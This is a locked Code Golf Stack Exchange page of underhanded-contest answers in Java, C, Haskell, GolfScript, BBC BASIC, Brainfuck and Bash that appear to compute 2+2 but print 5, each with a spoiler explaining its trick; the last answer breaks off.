online!](https://tio.run/##XZLBcqMwDIbP5Sk82YNhkslscyT1YbfTvkTbg4Jl4gI2lZ1A0umzpzY0CalnAEv6JX2yaQ9@a83qdJKomEpdlieMRCE4Xxvxd90JDqjt7sDXIPimkKrcvld1Y9oPcn7f9UeeMGWJaaYNc3lypxUzD6uc5kL/GPdg5BjvciPuR68QVzfkoV9b@n21fS9D7c0HHaXqesdfYKmNxD7V2VvgWZ1zV5OSoVMx1/PwrDeEUAV@9DsyjE5/HnfO24Z5dF6bkqmdKby2ZsE60t6jYZsDc1DqyrVJEk8gKtMoW8RdAQ6HEwkrDhnt2PQSG0NxeTpcjbjAOSQ/tEyjNhPikvYS328XOfYFtp79GzIC3hORpdtqBDq0/h/SngZxUKWz559xmAJdO2avYOyVf8bv1ytfzpYBvQE/UIgBJRtqt6SNn1RpI7JkUNfXAZezLEnGQ1l88sLukaBEnsetQoV8ccHk2EPT1jGIfQ89TGMt2ZKgacIthHi0KqhuFIWVY13p0eNtLjot0fghE91RHzX/ClzDAOGn5UW49zgCzya@M@vEdyacuKZgN9nyl@zMEPqevgE \"Python 2 – Try It Online\")\nFellow golfers that helped me:\n```\n Destructible Lemon / Wheat Wizard - 5 bytes\n Hubert Grzeskowiak - 1 byte\n musicman523 - 16 bytes\n```\n[Answer]\n# [Ruby](https://www.ruby-lang.org/), 90 bytes\n```\n->x{x[/(.*?#{$v='[aeiouy]'}+.).*?(#$v)/];$1+($1[-1].tr('bcdfgkpstvz','pgtvkgbzdfs')+$2)*2}\n```\n[Try it online!](https://tio.run/##Tc27DoMgGEDh3adolOQHrRpdG9sHsQ6oQIxVCCLxEp@dduhtPN9y9Fyvbin8RjNqOjn6Hi/uLr4u@1KmOAlvwY5sASVlnZzXCo4oIS/FAbIkrS4oizDKyjirEqMx1E3LRa8mYzc4gxLG9qLeWj4BiVBOwvxw6sQTDJ8dEO8N0jJNBfsCW@igHr9WWgpNh6EbxZ@xqWvZaIC4Jw \"Ruby – Try It Online\")\nUngolfing it a bit, we have something equivalent to:\n```\ndef covfefefify(x)\n v = '[aeiouy]'\n # Match x to a regular expression capturing:\n # Group 1:\n # some characters (non-greedy)\n # followed by some (greedy) non-zero number of vowels\n # followed by exactly one character\n # Ungrouped:\n # Some more (non-greedy) characters\n # Group 2\n # Exactly one other vowel\n # By switching between greedy and non-greedy matches, we can capture longest and shortest vowel/consonant sequences without writing out all the consonants\n x[/(.*?#{v}+.).*?(#{v})/]\n # Glue it back together, replace the necessary consonants, duplicate where needed\n $1+($1[-1].tr('bcdfgkpstvz','pgtvkgbzdfs')+$2)*2\nend\n```\n[Answer]\n# [Ruby](https://www.ruby-lang.org/), ~~175~~ ~~141~~ 110 bytes\n```\n->s{s=~/(.*?#{v='[aeiouy]'}+(#{c='[^aeiouy]'}))#{c}*(#{v})/;\"#$1#{($2.tr('bcdfgkpstvz','pgtvkgbzdfs')+$3)*2}\"}\n```\n[Try it online!](https://tio.run/##PcxBboMwFATQPaf4wlS2SUMUuqxIDoKoZMBYJAEsf@M0cdyrU6uLzmr0pBmzto9tqLb9CT1WPwdW5GfiXUVrIcdlfTQ07BjxXYSvf@E8Ssiju8APnynJjsSzrCysYbTt@kFdNVr3pO9UK@uuqn32A1K@yz54XoY0bFaiRajg7V53Rgo7LjN0i5NGKAnyW0z6JkGbRRkxTeOsYpc49nK2TZLoNW7/HopJaPDwwlcCMSnxWNwuK1p2LHmA/QmIH2psQpqEZPsF \"Ruby – TIO Nexus\")\n* Saved 34 bytes thanks to [Eric Duminil](https://codegolf.stackexchange.com/users/65905/eric-duminil)\n* Saved 31 bytes thanks to [Value Ink](https://codegolf.stackexchange.com/users/52194/value-ink) + optimized suggested `tr` arguments\n**Ungolfed**\n```\ncovfefify = -> (s) {\n from = 'bcdfgkpstvz'\n to = 'pgtvkgbzdfs'\n vowels = \"[aeiouy]\"\n consonants = \"[^aeiouy]\"\n s.match(/(.*?#{vowels}+(#{consonants}))#{consonants}*(#{vowels})/)\n d = ($2.tr(from, to) + $3) * 2\n \"#$1#{d}\"\n}\n```\n[Answer]\n# Crystal, ~~203~~ ~~194~~ ~~187~~ ~~186~~ ~~184~~ 163 bytes\n```\no=\"\"\nARGV[v=c=0].each_char{|a|r=/#{a}/\n\"aeiouy\"=~r&&(v=x=1)||(c=v)\no+=a if c<2||x\nc>0&&(x&&break||(o+=(i=\"pgtvkgbqrzdfs\"=~r)?\"bcdfgkpqrstvz\"[i]: a))}\np o+o[-2..-1]\n```\n[Answer]\n## [Retina](https://github.com/m-ender/retina), 68 bytes\n```\nr`\\B(?>([^aeiouy])+)([aeiouy]).*\n$1$1$2$1$2\nT-5>`fs\\dbgcgk\\ptzv`Ro`.\n```\n[Try it online!](https://tio.run/##K0otycxL/K@q4Z7wvyghxknD3k4jOi4xNTO/tDJWU1tTIxrG1tPiUjEEQiMQ5grRNbVLSCuOSUlKT07PjikoqSpLCMpP0Pv/Pzm/LLUoMT2VK7UiMbcgJ5WroCg/vSgxNzczL50rOT8FJJBanJmSmlcCAA \"Retina – Try It Online\")\n[Answer]\n# [!@#$%^&\\*()\\_+](https://github.com/ConorOBrien-Foxx/ecndpcaalrlp), ~~102~~ ~~101~~ ~~100~~ ~~99~~ 80 bytes\n```\n`33554(_(^1%)%)$pgtevkhijglmnobqrzdufwxys(0*!@&)^(0*!!@&_^)Q++&!@%(0*!^&)+!@0&@@\n```\n42nd answer of this question, it looks like. Just one byte longer than BQN! It took much more time than it should. I'm pretty sure there are still some simple tricks that I'm missing.\nAccept lowercase characters. The program does not actually contain digits - `01345Q` in the code above are unprintable characters with ASCII code 0, 1, 3, 4, 5 and 25 respectively.\n[Try it online!](https://tio.run/##S03OSylITkzMKcop@P8/gZmZlZVFI14jjlFVU1VTpSC9JLUsOyMzKz0nNy8/qbCoKqU0rbyisliDQUvRQU0zDkQDGfFxmpLa2mqKDqoggTg1TW1FBwY1B4f//5Pzy1KLEtNTAQ \"!@#$%^&*()_+ – Try It Online\")\n[Answer]\n# MATLAB / Octave - ~~159~~ 158 bytes\nThe following works assuming the input string is all lowercase. \n```\na=input('','s');m=ismember(a,'aeiouy');s='pgt vkh jglmn bqrzd fwx s';m(1:find(m,1))=1;i=find(~m,1);f=a(1:i);d=s(f(end)-97);m(1:i)=0;v=a(find(m,1));[f d v d v]\n```\n# Explanation\n1. `a = input('','s');`: Gets a string from STDIN and stores it into the variable `a`.\n2. `m=ismember(a,'aeiouy');`: Returns a Boolean array that is the same size as the string `a` determining where vowels are located\n3. `s='pgt vkh jglmn bqrzd fwx s';` The `covfefe` mapping of consonants as a string. This string is 25 characters long and omitting the vowels. The first position where the vowel `'a'` is supposed to be is removed while the other positions where the vowels are located are placed with a dummy space character. This is so that when we determine the first consonant appearing after the vowel, we will convert the consonant to a position to access a character in this string to determine the first component of the converted word.\n4. `m(1:find(m,1))=1`: Sets the first position of the Boolean array up to where we have found the first vowel as all vowels. This will be so that when we search for the next consonant that follows the first vowel, we will ignore these characters.\n5. `i=find(~m,1);`: Finds the first position of the string that is a consonant after the first vowel.\n6. `f=a(1:i)`: Removes the string after the first consonant that follows the vowel. We simply sample from the first position of the string up to this point.\n7. `d=s(f(end)-97);`: Take the last character of the string that is remaining and finds where we need to sample from the lookup string and gets that character. Subtracting a character and a number in MATLAB or Octave coalesces to form an integer by converting the character into its ASCII code. In this case, we subtract the last character by the character at the beginning of the alphabet to give us the position relative to the beginning. However, instead of subtracting by `b` (98), we subtract by `a` as MATLAB starts indexing by 1 instead of 0. `'a'`'s ASCII code is 97.\n8. `m(1:i)=0;`: Takes the Boolean mask and sets all characters in the input string from the first position to the first consonant following a vowel to false.\n9. `v=a(find(m,1));`: Finds the next vowel that follows the first consonant from the input string.\n10. `[f d v d v]`: Output our `covfefe`ied string.\n# Example Runs\n```\n>> a=input('','s');m=ismember(a,'aeiouy');s='pgt vkh jglmn bqrzd fwx s';m(1:find(m,1))=1;i=find(~m,1);f=a(1:i);d=s(f(end)-97);m(1:i)=0;v=a(find(m,1));[f d v d v]\ncoverage\nans =\ncovfefe\n>> a=input('','s');m=ismember(a,'aeiouy');s='pgt vkh jglmn bqrzd fwx s';m(1:find(m,1))=1;i=find(~m,1);f=a(1:i);d=s(f(end)-97);m(1:i)=0;v=a(find(m,1));[f d v d v]\nexample\nans =\nexxaxa\n>> a=input('','s');m=ismember(a,'aeiouy');s='pgt vkh jglmn bqrzd fwx s';m(1:find(m,1))=1;i=find(~m,1);f=a(1:i);d=s(f(end)-97);m(1:i)=0;v=a(find(m,1));[f d v d v]\nprogramming\nans =\nprogkaka\n>> a=input('','s');m=ismember(a,'aeiouy');s='pgt vkh jglmn bqrzd fwx s';m(1:find(m,1))=1;i=find(~m,1);f=a(1:i);d=s(f(end)-97);m(1:i)=0;v=a(find(m,1));[f d v d v]\ncode\nans =\ncodtete\n>> a=input('','s');m=ismember(a,'aeiouy');s='pgt vkh jglmn bqrzd fwx s';m(1:find(m,1))=1;i=find(~m,1);f=a(1:i);d=s(f(end)-97);m(1:i)=0;v=a(find(m,1));[f d v d v]\npresident\nans =\npreszizi\n```\n# Try it online!\n\nWhen you hit the Execute button at the top, wait a few moments, then enter the desired string. Enter the string slowly as there seems to be a delay when entering in text.\n[Answer]\n## Clojure, ~~182~~ 156 chars\n```\n#(let[v #{\\a\\e\\i\\o\\u\\y}p(partition-by v %)[s m[c][n]](if(v(first %))(cons[]p)p)z[(or((zipmap\"bcdfgkpstvz\"\"pgtvkgbzdfs\")c)c)n]](apply str(concat s m[c]z z)))\n```\n### How It Works\n```\n(partition-by v \"president\")\n```\nReturns a seq of `((\\p \\r) (\\e) (\\s) (\\i) (\\d) (\\e) (\\n \\t))`\n```\n[s m [c] [n]] (if (v (first x)) (cons [] p) p)\n```\nDestructures the seq into `s=(\\p \\r)`, `m=(\\e)`, `c=\\s`, `n=\\i`.\nOr for \"example\" it's `s=[]`, `m=(\\e)`, `c=\\x`, `n=\\a`.\n```\n(apply str (concat s m [c] [(l c) n] [(l c) n]))\n```\nReturns the output string by concatenating the pieces together and stringifying it.\nAnd then I just removed as much whitespace as I could while still making it compile.\nDe-uglified:\n```\n(defn covfefify [x]\n (let [vowel? #{\\a\\e\\i\\o\\u\\y}\n parts (partition-by vowel? x)\n [start mid [consonant] [last-vowel]] (if (vowel? (first x)) (cons [] parts) parts)\n lookup #(or ((zipmap \"bcdfgkpstvz\" \"pgtvkgbzdfs\") %) %)]\n (apply str (concat start mid [consonant] [(lookup consonant) last-vowel] [(lookup consonant) last-vowel]))))\n```\n[Answer]\n# BlitzMax, 190 bytes\n```\ns$=Input()For i=1To s.Length\nf=\"aeiouy\".Contains(s[i-1..i])If f v=i If c Exit\nIf v And c|f=0c=i\nNext\nt$=\"bpdtfvgkcgsz\"x$=s[c-1..c]r=t.Find(x)~1If r>=0x=t[r..r+1]\nx:+s[v-1..v]Print s[..c]+x+x\n```\nTakes a word from stdin and prints the result to stdout. The input word is assumed to be lowercase and to contain at least one vowel followed by a consonant.\nA more readable version of the progam with formatting and variable declarations:\n```\nSuperStrict\nFramework BRL.StandardIO\nLocal s:String = Input()\nLocal v:Int\nLocal c:Int\nFor Local i:Int = 1 To s.Length\n Local f:Int = \"aeiouy\".Contains(s[i - 1..i])\n If f Then\n v = i\n If c Then Exit\n End If\n If v And c | f = 0 Then c = i\nNext\nLocal t:String = \"bpdtfvgkcgsz\"\nLocal x:String = s[c-1..c]\nLocal r:Int = t.Find(x) ~ 1\nIf r >= 0 Then x = t[r..r + 1]\nx :+ s[v - 1..v]\nPrint s[..c] + x + x\n```\nHow it works:\nBlitzMax doesn't have any builtin regex functionality or similar, so a loop is used to iterate over the characters of the input word until it finds a vowel followed by a chain of at least one consonant. The variable c stores the position of the last of those consonants, v that of the vowel. The loop continues to see if there is another vowel after the chain and if so, v is updated accordingly.\nThen the consonant at c is looked up in the string \"bpdtfvgkcgsz\", which acts as a replacement table. If the consonant is found in the table at any position, then that position is XOR-ed with 1 and the character at the resulting position gets used as its replacement. The XOR operation turns 0 into 1, 2 into 3, 4 into 5 etc. and vice versa, so that b gets swapped with p, d with t and so on. Finally, the original string up to c, the replacement character and the vowel at v are put together as required and printed.\nExample results:\n> \n> coverage covfefe\n> \n> \n> creation creatdidi\n> \n> \n> programming progkaka\n> \n> \n> stupidity stupbibi\n> \n> \n> blah blahhaha\n> \n> \n> \n[Answer]\n# R, 341 characters\n```\nf=function(x){g=function(x,y)el(strsplit(x,y));a=g(x,'');v=g('aeiouy','');n=letters[-c(1,5,9,15,21,25)];l=data.frame(n,g('pgtvkhjglmnbqrzdfwxs',''));y=min(match(n,a)[which(match(n,a)>min(match(v,a),na.rm=T))]);m=l[which(l$n==a[y]),2];e<-a[-c(1:y)][min(match(v,a[-c(1:y)]),na.rm=T)];paste0(paste0(a[c(1:y)],collapse=''),m,e,m,e,collapse=\"\")}\n```\nHorrendous R attempt, why are strings so hard\nReadable version:\n```\nf = function(x) {\n g = function(x, y)el(strsplit(x, y))\n a = g(x, '')\n v = g('aeiouy', '')\n n = letters[-c(1, 5, 9, 15, 21, 25)]\n l = data.frame(n, g('pgtvkhjglmnbqrzdfwxs', ''))\n y = min(match(n, a)[which(match(n, a) > min(match(v, a), na.rm = T))])\n m = l[which(l$n == a[y]), 2]\n e <-a[-c(1:y)][min(match(v, a[-c(1:y)]), na.rm = T)]\n paste0(paste0(a[c(1:y)], collapse = ''), m, e, m, e, collapse = \"\")\n}\n```\n[Answer]\n# [Python 3.8 (pre-release)](https://docs.python.org/3.8/), 142 bytes\n```\ns=input()\ng=lambda i,f='aeiuoy':i if s[i]in f else g(i+1,f)\nq=g(g(0),c:='pgtcvkh jglmn bqrzd fwx s')\nexit(s[:-~q]+(c[ord(s[q])-98]+s[g(q)])*2)\n```\n[Try it online!](https://tio.run/##Dcc7EoMgFADA3lO8Dog6k09jnOEkDAUq4EsUQTDRFLk6yXbrjzQu7tb4NefI0fktUVZYPqm5GxRgZThRGrflIC0CGogCJTowoKeowVIsL5VhReCWWnpmVd9y4m3qX88RHnaaHXRh/Qxg3jtEwgq9Y6JRtPU3yJL2YlmHf4Nk9b2RZRSWBibZ6cpyVl7HHw \"Python 3.8 (pre-release) – Try It Online\")\nA little late to the party, but here's yet another non-regex Python answer! I interpreted the rules to allow printing to STDERR which saves a byte (`exit`/`print`). Using Python 3.8 over 3<=3.7 saves me a total of 1 byte with the walrus operator as opposed to defining the `c` variable elsewhere.\nThanks a lot to Post Rock Garf Hunter (-21 bytes) for the help!\n[Answer]\n# Perl, 71 bytes\n```\ns#[aeiouy]+(.)\\K.*?([aeiouy]).*#\"$1$2\"=~y/bcdfgkpstvz/pgtvkgbzdfs/rx2#e\n```\nAlso run with `perl -pe`. A few bytes less than the previous Perl solution. Admittedly I got some inspiration from there as well.\n[Answer]\n# [05AB1E](https://github.com/Adriandmen/05AB1E), ~~101~~ ~~104~~ 88 bytes\n-16 bytes thanks to Okx\nI somehow hope this can be done *way* more efficiently.\n```\nžOÃćIsk>[DIs£¤žPså#\\>]s[DIsèDžOså#\\>]ŠŠ\"bpcgdtfvgkhhjjkgllmmnnpbqqrrsztdvfwwxxzs\"S2ôDí«ø`Šs¤sŠksŠèsŠì2׫\n```\n[Try it online!](https://tio.run/##MzBNTDJM/f//6D7/w80Gh1dk20W7eBYfWnxoydF9AcWHlyrH2MUWg4QOr3ABqoGKHF1wdIHeo4ZF5oe2HV59eNKjhimHpyUd2nJs0qPOBYdbHjXMObrw1KTDbYe2esUdnhsG5B/uK7iwA6gh2OjwFpfDaw@tPrwj4eiC4kNLio8uyAbiwytAxBqjw9MPrf7/Pzm/LLUoMT0VAA \"05AB1E – Try It Online\")\n## Explanation\n```\n Argument: s\nžOÃ0èk Get index of first vowel in s\n>[DIs£¤žPså#\\>] Increment index and split s until last character of substring is a consonant\ns[DIsèDžOså#\\>] Increment index an get character at index in s until character is a vowel\nŠŠ Rearrange stack\n.•7¶ëÒ—Öb´ƒ≠Ä“šʒƵJ^ÝV“Îpи•S2ôDí«ø` Prepare character substitution map\nŠs Rearrange stack\n¤ Last character of substring\nsŠ Rearrange stack (yes, again)\nk Index of last character in substitution key list\nsŠ Rearrange stack (it won't stop)\nè Character at index in character substitution value list\nsŠ Rearrange stack (ONE LAST TIME)\nì2׫ Prepend substitution consonant before vowel, duplcicate and concatenate with the substring from the very beginning\n```\n[Answer]\n# Vim, 107 keystrokes\nWho needs Java, Python 3, Modern Pascal 2.0, C#, Python 2, R, Go, C, BlitzMax, Javascript, Crystal, Clojure, Lua, Matlab/Octave, Haskell and PHP when you have vim?\n```\ni ⎋o⏎bcdfghjklmnpqrstvwxz⏎pgtvkhjglmnbqrzdfwxs⎋1Ghqy/[aeiouy]⏎q/[^aeiouy]⏎mz@yyl`zpld$yhjpg*jyl`zpy2lPjdGX\n```\n`⎋` is the `Escape` key and `⏎` is the `Return` key\n## Explanation\n```\ni ⎋ Insert a space before the first character\no⏎bcdfghjklmnpqrstvwxz⏎ Insert the character data\n pgtvkhjglmnbqrzdfwxs⎋1Gh\nqy/[aeiouy]⏎q Find the first vocal after the space\n/[^aeiouy]⏎mz Find the next consonant and add a marker\n@yyl`zp Find the next vocal and put it after the consonant \nld$ Delete the rest of the world\nyhjpg* Search for the consonant in the first row of the character data\njyl Copy the character in the same position in the second row\n`zpy2lPjdGX Paste it after the last vowel and repeat the two last characters\n```\n[Answer]\n# [05AB1E](https://github.com/Adriandmen/05AB1E/wiki/Commands), ~~55~~ 42 [bytes](https://github.com/Adriandmen/05AB1E/wiki/Codepage)\n```\nη.ΔžOSåàyžPSÅ¿à*}ÐIsKžOÃнsθ.•gÍĆdQ¸G•‡ìDJ\n```\n-13 bytes thanks to *@Grimmy*.\n[Try it online](https://tio.run/##AVgAp/9vc2FiaWX//863Ls6Uxb5PU8Olw6B5xb5QU8OFwr/DoCp9w5BJc0vFvk/Dg9C9c864LuKAomfDjcSGZFHCuEfigKLDguKAocOsREr//3Byb2dyYW1taW5n) or [verify all test cases](https://tio.run/##yy9OTMpM/V9TVmmvpPCobZKCkn3l/3Pb9c5NObrPP/jw0sMLKo/uCwg@3Hpo/@EFWrWHJ1QWewNlDjdf2Ft8bofeo4ZF6Yd7j7SlBB7a4Q7kHG561LDw8BoXr/86/5OLUhNLMvPzuJLzy1KLEtNTuVIrEnMLclK5Cory04sSc3Mz89KB7NTizJTUvBIA).\n**Explanation:**\n```\nη # Suffixes of the (implicit) input\n # i.e. \"creation\" → [\"c\",\"cr\",\"cre\",\"crea\",\"creat\",\"creati\",\"creato\",\"creatio\",\"creation\"]\n .Δ } # Find the first for which the following is truthy:\n žO # Push vowels (including y): \"aeiouy\"\n S # Convert it to a list of characters: [\"a\",\"e\",\"i\",\"o\",\"u\",\"y\"]\n å # Check for each if they're in the current (implicit) suffix\n # i.e. \"creat\" → [1,1,0,0,0,0]\n à # Pop and push the max (basically check if any are truthy)\n # i.e. [1,1,0,0,0,0] → 1\n y # Push the suffix again\n žP # Push the consonants (excluding y): \"bcdfghjklmnpqrstvwxz\"\n S # Convert to a list of characters: [\"b\",\"c\",\"d\",\"f\",\"g\",\"h\",\"j\",\"k\",\"l\",\"m\",\"n\",\"p\",\"q\",\"r\",\"s\",\"t\",\"v\",\"w\",\"x\",\"z\"]\n Å¿ # Check for each if the suffix ends with it\n # i.e. \"creat\" → [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0]\n à # Pop and push the max (basically check if any are truthy)\n # i.e. [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0] → 1\n * # Check if both are truthy\n # i.e. 1 and 1 → 1\n Ð # Triplicate the found suffix\n I # Push the input\n s # Swap the top two items on the stack\n # i.e. stack contains now: \"creat\",\"creat\",\"creation\",\"creat\"\nK # Remove the suffix from the input\n # i.e. \"creation\" and \"creat\" → \"ion\"\n žOà # Only leave the vowels\n # i.e. \"ion\" → \"io\"\n н # Pop and push the first character\n # i.e. \"io\" → \"i\"\ns # Swap again so the prefix is a the top of the stack again\n θ # Pop and push the last character\n # i.e. \"creat\" → \"t\"\n .•gÍĆdQ¸G• # Push string \"bcdfkszgvtgp\"\n  # Bifurcate it (short for Duplicate & Reverse copy): \"pgtvgzskfdcb\"\n ‡ # Transliterate the character of \"bcdfkszgvtgp\" to the same index in \"pgtvgzskfdcb\"\n ì # Prepend the second character in front of the first\n # i.e. \"d\" and \"i\" → \"di\"\n D # Duplicate it\nJ # Join the stack together (and output implicitly)\n # i.e. \"creat\" and \"di\" and \"di\" → \"creatdidi\"\n```\n[See this 05AB1E tips of mine (section *How to compress strings not part of the dictionary?*)](https://codegolf.stackexchange.com/a/166851/52210) to understand why `.•gÍĆdQ¸G•` is `\"bcdfkszgvtgp\"`.\n[Answer]\n# [Lexurgy](https://www.lexurgy.com/sc), ~~288~~ ~~286~~ 281 bytes\nDocs [here](https://www.meamoria.com/lexurgy/html/sc-tutorial.html).\nLexurgy is an online tool meant for conlangers (people who make constructed languages) to apply sound changes to their conlangs via a series of programmable rules. As such, this tool involves many string operations.\n* -2: remove the `u` and `w` classes and replace them with one-time substitutions.\n* -5: fix a bug with the `example` case, combine some rules into a single step\n```\nClass v {a,e,i,o,u}\nClass c {p,t,k,f,s,c,b,d,g,v,z,g,h,j,l,m,n,q,r,w,x}\na:\n@c *=>@c ;/$ @c* @v* _//{$ _,$ @c _}\nb:\n@c=>* /; _\nc:\n{@v,@c}=>* /; @v {@v,@c}* _\n* {{p,t,k,f,s,c,x},{b,d,g,v,z,g,x}}$1=>$1 {{b,d,g,v,z,g,x},{p,t,k,f,s,c,x}}/_ ;\ne:\n@c$1 ;=>; $1\nf:\n(@c @v)$1=>$1 $1/; _\n;=>*\n```\nUngolfed:\n```\nClass vowel {a,e,i,o,u}\nClass unvoiced {p,t,k,f,s,c}\nClass voiced {b,d,g,v,z,g}\nClass consonant {@unvoiced,@voiced,h,j,l,m,n,q,r,w,x}\n# find first consonant after first vowel\npart-1:\n @consonant * => @consonant ; / $ @consonant* @vowel* _ // {$ _, $ @consonant _}\nromanizer-a:\n unchanged\n# delete the consonant after the seperator\npart-2:\n @consonant => * / ; _\nromanizer-b:\n unchanged\n# remove everything except the second vowel\npart-3:\n {@vowel, @consonant} => * / ; @vowel {@vowel, @consonant}* _\nromanizer-c:\n unchanged\n# voicings\npart-4:\n * @voiced$1 => $1 @unvoiced / _ ;\n * @unvoiced$1 => $1 @voiced / _ ;\nromanizer-d:\n unchanged\n# swap mapped consonant and seperator\npart-5:\n @consonant$1 ; => ; $1\nromanizer-e:\n unchanged\n# duplicate the `fe`\npart-6:\n (@consonant @vowel)$1 => $1 $1 / ; _\nromanizer-f:\n unchanged\n# remove the seperator\npart-7:\n ; => *\n```\n[Answer]\n# Crystal, 130 Bytes\n```\nc=/[aeiouy]/\nx,y,z=ARGV[0].partition /[^aeiouy]*#{c}*/\nk=z[0]\nb=((i=\"pgtvkgbqrzdfs\"=~/#{k}/)?\"bcdfgkpqrstvz\"[i]: k)+z[c]\np y+k+b*2\n```\n# How it works\n```\nc = /[aeiouy]/\n```\nstore a regex for searching first vowel to `c`.\n```\nx, y, z = ARGV[0].partition /[^aeiouy]*#{c}*/\n```\nsplit the first argument into three parts {\"\", String until one character before the first consonant after first vowel, rest of string} and store each of the elements into x, y and z.\n```\nk = z[0]\n```\nget the first character, the relevant consonant.\n```\ni = \"pgtvkgbqrzdfs\" =~ /#{k}/\n```\nget the index of the consonant inside the left string or `nil`.\n```\nb = ((i = ...) ? \"bcdfgkpqrstvz\"[i] : k) + z[c]\n```\nif `i` is not `nil`, use this index for the second string (kind of a golfed hash).\nif `i` is `nil`, use the original character.\nnext, append the first vowel of `z`.\n```\np y + k + (b * 2)\n```\nfinally, print first part from first regex `y`, the first consonant `k` and two times the previous calculated string `b`.\n[Try it online](https://tio.run/##LcrBCoMgGADgu08RdqmMOXYcSA8iDtRK5B/L1Mk02qu7y77zp30OUT5r1YxyudjtnQVFnzGPhWG9pcVLs@CLkz7aaLdXQ/nj34b20OdAEbDCrwIp1nWWYWdiAqN2X@Y1YPal7QEn7Ses9LwacLsPMRXMrbg30JPCtUCuyQSIGm61/gA).\n[Answer]\n# sed, 106 (105+1) bytes\nThis is sed with the `-E` flag, which apparently counts for one byte.\n```\ns/([aoeuiy][^aoeuiy])[^aoeuiy]*(.).*/\\1\\2/\nh\ns/.*(..)/\\1\\1/\ny/bcdfgkpstvz/pgtvkgbzdfs/\nx\ns/.$//\nG\ns/\\n//g\n```\n[Try it online!](https://tio.run/##PYtBDoIwEEX3cw4XlMRO8A7GQ4AmhQ61QdqmUwlweCtNjLuX999n0jkzVq3y9LbbvX38QPyprqSQNXZNd0F4AqM8jBRFNAgb9oMezRQ4LTsGk5bJ9LseGWEt7QkRbgd0DtHkPERSyXoHg18oKkNAq5rDiyBEb6KaZ@vMMeoiiK0mlz4@lAvn8/UL \"sed – Try It Online\")\n]"}}},{"rowIdx":8,"cells":{"text":{"kind":"string","value":"[Question]\n [\n**Closed.** This question is [off-topic](/help/closed-questions). It is not currently accepting answers.\n \n \n---\n This question does not appear to be about code golf or coding challenges within the scope defined in the [help center](https://codegolf.stackexchange.com/help/on-topic).\nClosed 7 years ago.\n**Locked**. This question and its answers are [locked](/help/locked-posts) because the question is off-topic but has historical significance. It is not currently accepting new answers or interactions.\n \n \nWrite a program that seemingly adds the numbers 2 and 2 and outputs 5. This is an underhanded contest.\nYour program cannot output any errors. Watch out for memory holes! Input is optional.\nRedefining 2+2 as 5 is **not** very creative! Don't doublethink it, try something else.\n \n[Answer]\n## Java\nReflection is indeed the right way to go with abusing Java... but you need to go *deeper* than just tweaking some values. \n```\nimport java.lang.reflect.Field;\npublic class Main {\n public static void main(String[] args) throws Exception {\n Class cache = Integer.class.getDeclaredClasses()[0];\n Field c = cache.getDeclaredField(\"cache\");\n c.setAccessible(true);\n Integer[] array = (Integer[]) c.get(cache);\n array[132] = array[133];\n System.out.printf(\"%d\",2 + 2);\n }\n}\n```\nOutput:\n```\n5\n```\nExplanation: \n> \n> You need to change it even deeper than you can typically access. Note that this is designed for Java 6 with no funky parameters passed in on the JVM that would otherwise change the [IntegerCache](http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/6-b14/java/lang/Integer.java#Integer.IntegerCache). \n> \n> Deep within the Integer class is a Flyweight of Integers. This is an array of Integers from −128 to +127. `cache[132]` is the spot where 4 would normally be. Set it to 5.\n> \n> \n> \n**Warning:** Doing this in real code will make people **very** unhappy.\n[Code demo on ideone](http://ideone.com/o1h0hR).\n[Answer]\n## C\nPretty cheap trick but I'm sure I will trap the most of you.\n```\nint main() {\n int a = 2 + 2; a++;\n printf(\"%d\",a);\n return 0;\n}\n```\n[Try it here](http://ideone.com/fork/16PScH)\n> \n> Scroll the code to the right. \n> \n> I'm not sure on Windows/Linux but on OSX, the scrollbar is not visible. \n> \n> Anyway, this is a good reason to enable \"space visualization\" on your favorite code editor.\n> \n> \n> \n[Answer]\n# Haskell\nI just love how you can throw anything at ghci and it totally rolls with it.\n```\nλ> let 2+2=5 in 2+2\n5\n```\n[Answer]\n## GolfScript\n```\n4:echo(2+2);\n```\nPrints `5`.\n> \n> Of course GolfScript has a syntax that is markedly different from other languages, this program just happen to look like something Basic or C-ish. \n> \n> \n> \n> `4` - Put the number 4 on the stack. Stack content: 4 \n> \n> \n> \n> \n[Answer]\n## Java\nAlways have to round your doubles, folks\n```\npublic class TwoPlusTwo {\n public static void main(String... args) {\n double two = two();\n System.out.format(\"Variable two = %.15f%n\", two);\n double four = Math.ceil(two + two); // round just in case\n System.out.format(\"two + two = %.15f%n\", four);\n }\n // 20 * .1 = 2\n private static double two() {\n double two = 0;\n for(int i = 0; i < 20; i++) {\n two += .1;\n }\n return two;\n }\n}\n```\nOutput:\n```\nVariable two = 2.000000000000000\ntwo + two = 5.000000000000000\n```\nExplanation:\n> \n> No, seriously, you always have to round your doubles. 15 isn't enough digits to show that the `two()` method actually produces `2.0000000000000004` (16 is enough, though). \n> \n> In the raw Hex representations of the numbers, it's only a 1 bit difference (between `4000000000000001` and `4000000000000000`)... which is enough to make the `Math.ceil` method return 5, not 4.\n> \n> \n> \n[Answer]\n# BBC BASIC\nEDIT: For Andrea Faulds and Squeamish Ossifrage, a more convincing version using a different interpreter: \n```\n MODE 6\n VDU 23,52,254,192,252,6,6,198,124,0\n PRINT\n PRINT \"2+2=\";2+2\n PRINT \"2+3=\";2+3\n```\n![enter image description here](https://i.stack.imgur.com/3XIm6.png)\n> \n> This actually prints the number 4, but the `VDU 23` redefines the font for ASCII 52 so that it looks like a 5 instead of a 4. Screen mode 6 was selected for aesthetic reasons (characters of a reasonable size.)\n> \n> \n> \nThe original image using the emulator at . (with slightly different code) can be seen in the edit history.\n[Answer]\n## Brainfuck\n```\n+++++ +++++\n + + \n + + + +++++\n+++++ +++ +++++ \n+ + + +++++\n+ +\n+++++ +++++.\n```\nOutput:\n```\n5\n```\nTry it [here](http://esoteric.sange.fi/brainfuck/impl/interp/i.html).\nI know this might sound a little to simple, but I tried to be creative, as suggested in original post.\n[Answer]\n# Bash\nSince this is a [popularity-contest](/questions/tagged/popularity-contest \"show questions tagged 'popularity-contest'\"), I guess I should use a long-winded method...\nFor people who don't know Bash: `$((...expr...))` is a syntax to evaluate arithmetic expressions. `$(bc<<<...expr...)` does the same using the `bc` command-line calculator.\n```\nv=2 #v is 2\nv+=2 #v is 4\nv=$(($v*5)) #v is 20\nv=$(($v-16)) #v is 4\nv=$(bc<<<\"sqrt($v)+2\") #v is 4 (sqrt(4) is 2)\nv=$(bc<<<\"$v/4+3\") #v is 4 (4/4 = 1)\necho '2+2=' $v #So v is 4...?\n```\n## 